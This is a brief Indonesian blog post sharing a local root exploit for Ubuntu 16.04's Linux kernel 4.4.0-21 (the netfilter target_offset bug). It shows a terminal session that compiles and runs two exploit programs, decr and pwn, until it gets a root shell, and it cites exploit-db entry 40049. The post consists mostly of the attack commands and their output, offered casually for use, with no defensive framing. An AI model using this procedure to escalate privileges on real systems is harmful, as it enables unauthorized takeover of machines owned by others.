Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) Privilege Escalation

Holaa.. kali ini mau share aja barangkali ada yang belom tau. Localroot kernel 4.4.0-21 (xenial) 64 bit.

[email protected]:~$ uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:~$ gcc decr.c -m32 -O2 -o decr
[email protected]:~$ gcc pwn.c -O2 -o pwn
[email protected]:~$ ./decr
netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
[!] Decrementing the refcount. This may take a while…
[!] Wait for the “Done” message (even if you’ll get the prompt back).
[email protected]:~$ [+] Done! Now run ./pwn

[email protected]:~$ ./pwn
[+] Escalating privs…
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~# 

Download :
Ref :
https://www.exploit-db.com/exploits/40049/
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